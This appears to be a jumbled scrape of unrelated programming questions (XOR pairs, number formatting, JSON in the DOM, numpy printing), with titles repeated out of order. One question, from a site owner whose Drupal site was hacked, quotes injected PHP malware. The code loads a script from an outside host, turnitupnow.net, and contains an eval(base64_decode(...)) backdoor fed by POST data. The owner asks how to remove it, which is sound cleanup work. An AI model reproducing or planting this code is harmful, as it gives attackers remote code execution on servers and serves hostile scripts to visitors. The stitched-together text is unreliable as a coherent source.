Given an array of integers ,You have to find two elements whose XOR is maximum.

There is naive approach --just by picking each   element and xoring with other elements and then comparing the results to find the pair.

Other than this ,Is there any efficient  algorithm?

Two elements in array whose xor is maximum

I got hacked by running a really outdated Drupal installation (shame on me)

It seems they injected the following in every `.php` file;

&lt;!-- language: lang-php --&gt;

    &lt;?php global $sessdt_o; if(!$sessdt_o) { 
      $sessdt_o = 1; $sessdt_k = &quot;lb11&quot;; 
      if(!@$_COOKIE[$sessdt_k]) { 
       $sessdt_f = &quot;102&quot;; 
       if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
       else { echo &quot;&lt;script&gt;document.cookie=&#39;&quot;.$sessdt_k.&quot;=&quot;.$sessdt_f.&quot;&#39;;&lt;/script&gt;&quot;; } 
      } 
      else { 
       if($_COOKIE[$sessdt_k]==&quot;102&quot;) { 
        $sessdt_f = (rand(1000,9000)+1); 
         if(!@headers_sent()) {
          @setcookie($sessdt_k,$sessdt_f); } 
         else { echo &quot;&lt;script&gt;document.cookie=&#39;&quot;.$sessdt_k.&quot;=&quot;.$sessdt_f.&quot;&#39;;&lt;/script&gt;&quot;; }  
         sessdt_j = @$_SERVER[&quot;HTTP_HOST&quot;].@$_SERVER[&quot;REQUEST_URI&quot;]; 
         $sessdt_v = urlencode(strrev($sessdt_j)); 
         $sessdt_u = &quot;http://turnitupnow.net/?rnd=&quot;.$sessdt_f.substr($sessdt_v,-200); 
         echo &quot;&lt;script src=&#39;$sessdt_u&#39;&gt;&lt;/script&gt;&quot;; 
         echo &quot;&lt;meta http-equiv=&#39;refresh&#39; content=&#39;0;url=http://$sessdt_j&#39;&gt;&lt;!--&quot;; 
        } 
       } 
       $sessdt_p = &quot;showimg&quot;; 
       if(isset($_POST[$sessdt_p])){
        eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
        exit;
       } 
      }

Can I remove and replace this with `sed`? e.g.:

    find . -name *.php | xargs ... 

I hope to have the site working just for the time being to use wget and made a static copy.

sed, replace first line

I am working with the following snippet and the end result is a number like `349`. How do I format it to be `$349.00`?  I thought `formatNumber()` would work?  What am I doing wrong? The javascript runs through a series of calculations and then presents Net Total, Tax and Total.  For Net Total and Tax I would like to see a $ and two decimal places.  


javascript number/currency formatting

<p>I am working with the following snippet and the end result is a number like <code>349</code>. How do I format it to be <code>$349.00</code>?  I thought <code>formatNumber()</code> would work?  What am I doing wrong? The javascript runs through a series of calculations and then presents Net Total, Tax and Total.  For Net Total and Tax I would like to see a $ and two decimal places.</p>


I&#39;m thinking about embedding arbitrary JSON in the DOM like this:

    &lt;script type=&quot;application/json&quot; id=&quot;stuff&quot;&gt;
        {
            &quot;unicorns&quot;: &quot;awesome&quot;,
            &quot;abc&quot;: [1, 2, 3]
        }
    &lt;/script&gt;

This is similar to the way one might store an arbitrary HTML template in the DOM for later use with a JavaScript template engine. In this case, we could later retrieve the JSON and parse it with:

    var stuff = JSON.parse(document.getElementById(&#39;stuff&#39;).innerHTML);

[This works][1], but is it the best way? Does this violate any best practice or standard?

&lt;i&gt;Note: I&#39;m not looking for alternatives to storing JSON in the DOM, I&#39;ve already decided that&#39;s the best solution for the particular problem I&#39;m having. I&#39;m just looking for the best way to do it.&lt;/i&gt;


  [1]: http://jsbin.com/epodeh/edit#javascript,html

Best practice for embedding arbitrary JSON in the DOM?

How can I remove the last word in the string using JavaScript?

For example, the string is &quot;I want to remove the last word.&quot;

After using removal, the string in the textbox will display &quot;I want to remove the last&quot;

I&#39;ve seen how to remove the last character using the *substring* function, but because the last word can be different every time. Is there a way to count how many words are required to remove in JavaScript?






How to remove the last word in a string using JavaScript

I am considering using [pdf.js][1] (an open source tool that allows embedding of a pdf in a webpage). There isn&#39;t any documentation on how to use it.

I assume what I do is make an html page with the script referenced in the header, and then in the body, I put some sort of function call with an array of the file name and location. Can anyone help me out here?


  [1]: https://github.com/mozilla/pdf.js

How to Use pdf.js

How can I loop through all the entries in an array using JavaScript?

For-each over an array in JavaScript

I want to make something which would look like a select input but is actually not, here are the steps.

I made an `&lt;input type=&quot;text&quot;&gt;`.

I added a `background-image`, which will show a &quot;select arrow&quot;, giving the impression that it&#39;s a select box.

I added a default value to this input.

There will be a hidden div which will `SlideDown()` right under this input when I click on it.

I tried the read only thing so that the value cannot be changed, but the blinking cursor will show up.

If I use `disabled`, the blinking cursor will not show up, but the `.click()` or `.focus` function in jQuery will not work. The drop down menu will not `SlideDown()`.

How can I make it clickable while not showing the blinking cursor?  



Here&#39;s the code

    &lt;div style=&quot;padding-top:17px; overflow:hidden;&quot;&gt;
        &lt;div style=&quot;float:left;&quot;&gt;
            &lt;label for=&quot;secretquestion&quot;&gt;Secret Question&lt;/label&gt;&lt;br&gt;
            &lt;input type=&quot;text&quot; class=&quot;inputselect&quot; id=&quot;secretquestion&quot; name=&quot;secretquestion&quot; value=&quot;Choose a Secret Question&quot; tabindex=10 /&gt;&lt;br&gt;
            &lt;div class=&quot;selectoptions&quot; id=&quot;secretquestionoptions&quot;&gt;
                &lt;b&gt;test&lt;/b&gt;
            &lt;/div&gt; 
        &lt;/div&gt;
    &lt;/div&gt;

CSS

    .selectoptions
    {
        display: none;
        background-color: white;  
        color: rgb(46,97,158); 
        width: 250px; 
        margin:auto; 
        border-style: solid; 
        border-width:1px; 
        border-color: rgb(46,97,158);  
        font-size: 14px; 
        text-align: center; 
    }
    
    .inputselect {
        color: white;  
        cursor: pointer;  
        background-image: url(&#39;inputselect.png&#39;);
        padding-top: 5px; 
        padding-bottom: 5px;   
        padding-left:10px; 
        padding-right:-10px;
        width:240px; 
        border-style: solid; 
        border-color: rgb(46,97,158); 
        border-width: 1px;
    } 
    .inputselect:hover {
        outline:none;      
        color:aqua; 
        cursor: pointer; 
        background-image: url(&#39;inputselecthover.png&#39;);
    }
    .inputselect:focus {
        outline:none;      
        color:aqua; 
        cursor: pointer; 
        background-image: url(&#39;inputselecthover.png&#39;);
    }

how to hide blinking cursor in input text?

Can I force R to use regular numbers instead of using the `e+10`-like notation? I have:

    1.810032e+09
    # and 
    4

within the same vector and want to see: 

    1810032000
    # and
    4

I am creating output for an old fashioned program and I have to write a text file using `cat`. 
That works fine so far but I simply can&#39;t use the `e+10` notation there.



Force R not to use exponential notation (e.g. e+10)?

I have a nested Python list that looks like the following:

    my_list = [[3.74, 5162, 13683628846.64, 12783387559.86, 1.81],
     [9.55, 116, 189688622.37, 260332262.0, 1.97],
     [2.2, 768, 6004865.13, 5759960.98, 1.21],
     [3.74, 4062, 3263822121.39, 3066869087.9, 1.93],
     [1.91, 474, 44555062.72, 44555062.72, 0.41],
     [5.8, 5006, 8254968918.1, 7446788272.74, 3.25],
     [4.5, 7887, 30078971595.46, 27814989471.31, 2.18],
     [7.03, 116, 66252511.46, 81109291.0, 1.56],
     [6.52, 116, 47674230.76, 57686991.0, 1.43],
     [1.85, 623, 3002631.96, 2899484.08, 0.64],
     [13.76, 1227, 1737874137.5, 1446511574.32, 4.32],
     [13.76, 1227, 1737874137.5, 1446511574.32, 4.32]]

I then import Numpy, and set print options to `(suppress=True)`. When I create an array:

    my_array = numpy.array(my_list)

I can&#39;t for the life of me suppress scientific notation:

    [[  3.74000000e+00   5.16200000e+03   1.36836288e+10   1.27833876e+10
        1.81000000e+00]
     [  9.55000000e+00   1.16000000e+02   1.89688622e+08   2.60332262e+08
        1.97000000e+00]
     [  2.20000000e+00   7.68000000e+02   6.00486513e+06   5.75996098e+06
        1.21000000e+00]
     [  3.74000000e+00   4.06200000e+03   3.26382212e+09   3.06686909e+09
        1.93000000e+00]
     [  1.91000000e+00   4.74000000e+02   4.45550627e+07   4.45550627e+07
        4.10000000e-01]
     [  5.80000000e+00   5.00600000e+03   8.25496892e+09   7.44678827e+09
        3.25000000e+00]
     [  4.50000000e+00   7.88700000e+03   3.00789716e+10   2.78149895e+10
        2.18000000e+00]
     [  7.03000000e+00   1.16000000e+02   6.62525115e+07   8.11092910e+07
        1.56000000e+00]
     [  6.52000000e+00   1.16000000e+02   4.76742308e+07   5.76869910e+07
        1.43000000e+00]
     [  1.85000000e+00   6.23000000e+02   3.00263196e+06   2.89948408e+06
        6.40000000e-01]
     [  1.37600000e+01   1.22700000e+03   1.73787414e+09   1.44651157e+09
        4.32000000e+00]
     [  1.37600000e+01   1.22700000e+03   1.73787414e+09   1.44651157e+09
        4.32000000e+00]]

 If I create a simple numpy array directly:

    new_array = numpy.array([1.5, 4.65, 7.845])

I have no problem and it prints as follows:

    [ 1.5    4.65   7.845]

Does anyone know what my problem is?






Suppress Scientific Notation in Numpy When Creating Array From Nested List

How to get the double value that is only two digit after decimal point.

for example 

if 

    i=348842.
    double i2=i/60000;
    tv.setText(String.valueOf(i2));

this code generating `5.81403333`.

But I want only `5.81`.

So what shoud I do?

Show only two digit after decimal

I have `2,299.00` as a string and I am trying to parse it to a number. I tried using `parseFloat`, which results in 2. I guess the comma is the problem, but how would I solve this issue the right way? Just remove the comma?

&lt;!-- begin snippet: js hide: false console: true babel: false --&gt;

&lt;!-- language: lang-js --&gt;

    var x = parseFloat(&quot;2,299.00&quot;)
    console.log(x);

&lt;!-- end snippet --&gt;


  [1]: http://jsfiddle.net/BPF68/

How can I parse a string with a comma thousand separator to a number?

I need to round down a decimal in PHP to two decimal places so that:

    49.955

becomes...

    49.95

I have tried **number_format**, but this just rounds the value to **49.96**. I cannot use **substr** because the number may be smaller (such as 7.950). I&#39;ve been unable to find an answer to this so far.

Any help much appreciated.

javascript number/currency formatting

Javascript Problem Overview

Javascript Solutions

sed, replace first line

Two elements in array whose xor is maximum

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